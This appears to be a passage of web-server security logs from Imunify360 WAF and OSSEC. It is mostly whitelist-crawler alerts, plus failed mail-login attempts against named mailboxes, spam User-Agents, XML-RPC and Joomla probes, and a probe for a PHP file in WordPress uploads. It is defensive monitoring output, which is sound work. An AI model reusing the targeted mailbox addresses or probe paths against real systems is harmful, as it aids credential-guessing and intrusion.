domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.198||TA:184.174.46.198||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.201
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.201||TA:184.174.46.201||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.197
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.197||TA:184.174.46.197||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.199
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.199||TA:184.174.46.199||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.191
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.191||TA:184.174.46.191||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.196
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.196||TA:184.174.46.196||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.195
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.195||TA:184.174.46.195||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.204
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.204||TA:184.174.46.204||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.200
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.200||TA:184.174.46.200||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.202
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.202||TA:184.174.46.202||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.210
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.210||TA:184.174.46.210||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.214
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.214||TA:184.174.46.214||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.205
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.205||TA:184.174.46.205||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.209
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.209||TA:184.174.46.209||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.216
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.216||TA:184.174.46.216||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.218
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.218||TA:184.174.46.218||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.213
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.213||TA:184.174.46.213||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.215
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.215||TA:184.174.46.215||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.208
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.208||TA:184.174.46.208||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.211
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.211||TA:184.174.46.211||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.212
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.212||TA:184.174.46.212||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.219
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.219||TA:184.174.46.219||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.217
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.217||TA:184.174.46.217||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.207
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.207||TA:184.174.46.207||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.206
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.206||TA:184.174.46.206||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.220
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.220||TA:184.174.46.220||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.221
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.221||TA:184.174.46.221||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.222
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.222||TA:184.174.46.222||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.230
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.230||TA:184.174.46.230||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.224
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.224||TA:184.174.46.224||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.225
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.225||TA:184.174.46.225||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.228
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.228||TA:184.174.46.228||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.219.77
country_id: 1835841
description:
2026-07-18 19:18:52 dovecot_login authenticator failed for H=([218.92.251.198]) [119.192.219.77]:38593: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.226
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.226||TA:184.174.46.226||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.231
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.231||TA:184.174.46.231||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.227
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.227||TA:184.174.46.227||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.229
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.229||TA:184.174.46.229||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.223
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.223||TA:184.174.46.223||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.233
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.233||TA:184.174.46.233||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.245
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.245||TA:184.174.46.245||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.236
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.236||TA:184.174.46.236||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.241
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.241||TA:184.174.46.241||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.242
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.242||TA:184.174.46.242||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.240
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.240||TA:184.174.46.240||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.243
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.243||TA:184.174.46.243||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.234
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.234||TA:184.174.46.234||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.244
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.244||TA:184.174.46.244||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.237
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.237||TA:184.174.46.237||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.238
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.238||TA:184.174.46.238||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.239
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.239||TA:184.174.46.239||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-18 19:19:09 dovecot_login authenticator failed for H=(nsg-corporate-113.199.185.122.airtel.in) [116.98.104.138]:38570: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.235
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.235||TA:184.174.46.235||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.232
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.232||TA:184.174.46.232||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.246
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.246||TA:184.174.46.246||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.253
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.253||TA:184.174.46.253||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.254
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.254||TA:184.174.46.254||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.248
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.248||TA:184.174.46.248||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.249
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.249||TA:184.174.46.249||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.247
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.247||TA:184.174.46.247||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.250
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.250||TA:184.174.46.250||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.252
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.252||TA:184.174.46.252||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.251
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.46.251||TA:184.174.46.251||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 23.108.46.101
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://stocks.observer-reporter.com/observerreporter/article/abnewswire-2026-7-13-what-does-garage-door-repair-cost-in-columbia-md-local-contractor-publishes-guide/\">Emergency garage door repair</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.166
country_id: 1269750
description:
2026-07-18 19:21:38 dovecot_login authenticator failed for H=(wsip-184-178-172-10.rn.hr.cox.net) [182.95.181.166]:52874: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.111.110
country_id: 1269750
description:
2026-07-18 19:23:52 dovecot_login authenticator failed for H=([118.123.116.93]) [27.123.111.110]:37990: 535 Incorrect authentication data (set_id=dins.info)


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 20.151.225.23
country_id: 6251999
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/admin.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-18 19:23:38 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([67.201.33.12]) [64.207.225.55]:53208: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.200.6
country_id: 1269750
description:
2026-07-18 19:26:17 dovecot_login authenticator failed for H=([203.172.213.166]) [152.52.200.6]:60538: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.143.45
country_id: 99237
description:
2026-07-18 19:26:27 dovecot_login authenticator failed for H=(distribution05-10gb.1560.la3.switches.zerolag.com) [65.20.143.45]:35233: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.90.64.6
country_id: 192950
domain: interceptorglobal.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/interceptorglobal.in/ HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.186.73.72
country_id: 6252001
description:
2026-07-18 19:34:10 dovecot_login authenticator failed for H=wsip-184-186-73-72.lf.br.cox.net (82-209-148-60.cust.bredband2.com) [184.186.73.72]:51310: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.67.106.221
country_id: 3686110
description:
2026-07-18 19:34:22 dovecot_login authenticator failed for H=(ool-6038e495.static.optonline.net) [190.67.106.221]:55082: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 102.129.145.108
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.153.114.155
country_id: 1819730
description:
2026-07-18 19:41:26 dovecot_plain authenticator failed for H=n058153114155.netvigator.com (untla) [58.153.114.155]:58679: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77318022
name: IM360 WAF: Old style account creation and modification in Joomla!
abuser: 208.102.51.6
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Old style account creation and modification in Joomla!||MVN:REQUEST_FILENAME||MV:/component/users/||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 208.102.51.6
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33321||MV:19-41.208.102.51.6||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.2.111.42
country_id: 1694008
domain: gsmex.global
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:63010.gsmex.global||ServerName:gsmex.global||Method:metaWeblog.newPost||BlogID:1||TitleSHA:32435e41837eac6be338d3db22597035450e110e||Title:0xb0b3f1fb||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.39.147
country_id: 1269750
description:
2026-07-18 19:47:18 dovecot_login authenticator failed for H=([103.140.18.186]) [103.171.39.147]:35236: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.68.245.7
country_id: 798544
description:
2026-07-18 19:47:46 dovecot_login authenticator failed for H=89-68-245-7.dynamic.play.pl (111-70-22-153.emome-ip.hinet.net) [89.68.245.7]:48012: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.91.135.181
country_id: 6252001
description:
2026-07-18 19:48:40 dovecot_login authenticator failed for H=([187.51.84.86]) [70.91.135.181]:40134: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.58.163
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.58.163||TA:184.174.58.163||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.74.41
country_id: 1527747
description:
2026-07-18 19:50:23 dovecot_login authenticator failed for H=([49.124.152.220]) [92.62.74.41]:60110: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.83.113.3
country_id: 3175395
description:
2026-07-18 19:50:33 dovecot_login authenticator failed for H=([36.39.140.2]) [151.83.113.3]:37846: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.60.128.241
country_id: 1269750
description:
2026-07-18 19:53:19 dovecot_login authenticator failed for H=(122-116-225-114.hinet-ip.hinet.net) [182.60.128.241]:45166: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.231.157.13
country_id: 1562822
domain: ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com/ HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.250.2
country_id: 1269750
description:
2026-07-18 20:04:52 dovecot_login authenticator failed for H=(184.sub-97-211-156.myvzw.com) [117.250.250.2]:57318: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.205
country_id: 337996
description:
2026-07-18 20:05:04 dovecot_login authenticator failed for H=([60.12.106.119]) [196.188.187.205]:56864: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://crm.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-18 20:07:31 dovecot_login authenticator failed for H=(dsl-94-233-127-218.avtlg.ru) [94.16.17.141]:55876: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.195.53.129
country_id: 6252001
description:
2026-07-18 20:07:48 dovecot_login authenticator failed for H=([203.193.147.37]) [74.195.53.129]:60080: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 82.47.253.76
country_id: 3175395
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.haberdenizli.com/umar-kremlev-spordaki-konumunu-guclendiriyor-yeni-rolu-ve-kariyerinin-dogal-sureci\">umar kremlev biyografisi</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.106.171.85
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/150.0.0.0 Safari/537.36||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.47.166.23
country_id: 1522867
description:
2026-07-18 20:11:50 dovecot_login authenticator failed for H=92.47.166.23.dynamic.telecom.kz ([113.219.177.95]) [92.47.166.23]:36844: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.24.200.219
country_id: 2661886
description:
2026-07-18 20:12:00 dovecot_login authenticator failed for H=h-85-24-200-219.a158.priv.bahnhof.se (111-70-23-251.emome-ip.hinet.net) [85.24.200.219]:33610: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.3.122
country_id: 1668284
description:
2026-07-18 20:14:06 dovecot_login authenticator failed for H=111-70-3-122.emome-ip.hinet.net (74acb9edeadf.mldns.ru) [111.70.3.122]:46297: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.65.154
country_id: 1269750
description:
2026-07-18 20:14:30 dovecot_login authenticator failed for H=(ip-104-200-152-25.hosts.zerolag.com) [182.78.65.154]:56494: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 13.68.214.34
country_id: 6252001
description:
2026-07-18 20:15:47 dovecot_login authenticator failed for H=([60.169.120.17]) [13.68.214.34]:57596: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.79.170.117
country_id: 1835841
description:
2026-07-18 20:19:42 dovecot_login authenticator failed for H=([49.124.151.17]) [61.79.170.117]:53078: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.68.187.218
country_id: 6252001
description:
2026-07-18 20:19:57 dovecot_login authenticator failed for H=(115.150.48.116.static.netvigator.com) [66.68.187.218]:60092: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.70.16.87
country_id: 2077456
description:
2026-07-18 20:20:07 dovecot_login authenticator failed for H=115-70-16-87.ip4.superloop.au ([49.124.132.6]) [115.70.16.87]:48676: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.58.164
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.58.164||TA:184.174.58.164||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.224.243
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.224.243||TA:38.154.224.243||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.58.165
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.58.165||TA:184.174.58.165||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.58.166
country_id: 6252001
domain: www.ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.58.166||TA:184.174.58.166||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.224.245
country_id: 6252001
domain: www.ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.224.245||TA:38.154.224.245||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.58.168
country_id: 6252001
domain: www.ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.58.168||TA:184.174.58.168||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.58.169
country_id: 6252001
domain: www.ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:184.174.58.169||TA:184.174.58.169||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 12.150.243.22
country_id: 6252001
description:
